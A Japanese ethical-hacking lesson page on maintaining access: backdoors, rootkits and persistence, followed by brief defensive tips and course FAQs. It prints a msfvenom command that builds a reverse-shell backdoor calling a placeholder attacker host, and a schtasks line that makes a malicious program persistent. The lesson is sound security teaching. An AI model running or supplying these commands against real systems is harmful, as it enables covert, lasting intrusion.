アクセスの維持
侵害したシステムの制御を維持するために使われるバックドア、ルートキット、永続化の仕組みについて学びます。
「アクセスの維持」はCoddyKit上の無料Ethical Hacking Academyレッスンです。 これはレッスン3/3です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはEthical Hacking Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Ethical Hacking Academyコースには全3レッスンが含まれています。
アクセス維持へようこそ
システムへのアクセスを得た後、攻撃者はさまざまな手法を使って支配を維持しようとします。
アクセス維持とは
侵害されたシステムを継続的に支配するために使用される手法を指します。
アクセス維持の一般的な手法
- バックドア
- ルートキット
- トロイの木馬化されたバイナリ
- 永続化スクリプト
バックドアの使用
バックドアは、攻撃者にシステムへの隠れた侵入口を提供します。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe > backdoor.exeルートキット
ルートキットはシステムファイルを変更して、悪意のある活動を隠します。
スケジュールタスクによる永続化
攻撃者はスケジュールタスクを使って、悪意のあるプログラムを自動的に実行します。
schtasks /create /tn backdoor /tr C:\malicious.exe /sc minute /mo 5アクセス維持に使用される一般的なツール
Metasploit- バックドアと永続化に使用します。Netcat- リバースシェルに使用します。HiddenVNC- 侵害されたマシンをリモート操作します。
永続化を防ぐ方法
- スケジュールタスクを監視します。
- ルートキット対策ツールを使用します。
- システムログを定期的に監査します。
- 管理者アクセスを制限します。
まとめ
アクセスの維持には、バックドア、ルートキット、永続化の手法が使われます。セキュリティ対策によって脅威の検出と除去に役立てられます。
AI チューターと学ぶ Ethical Hacking Academy — 無料
ブラウザでリアルコードを書いて実行し、24/7 の AI チューターから瞬時にサポートを受け、ウェブまたはアプリで続きから学習できます。
- コース
- 31
- レッスン
- 111
よくある質問
「アクセスの維持」レッスンは無料ですか？
はい。「アクセスの維持」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し（組み込みコードエディタと24時間対応のAIチューター）、Ethical Hacking Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Ethical Hacking Academyコースには全3レッスンが含まれています。
「アクセスの維持」で何を学びますか？
侵害したシステムの制御を維持するために使われるバックドア、ルートキット、永続化の仕組みについて学びます。 ブラウザで直接実行するハンズオンコードでEthical Hacking Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Ethical Hacking Academyを始めるのに経験は必要ですか？
事前経験は必要ありません。CoddyKitのEthical Hacking Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン3/3です。
「アクセスの維持」レッスンにはどのくらい時間がかかりますか？
ほとんどのCoddyKitレッスンは約5～10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このEthical Hacking Academyレッスンでコードを書いて実行できますか？
はい。すべてのEthical Hacking Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- パスワードクラックの手法
- 権限昇格
- アクセスの維持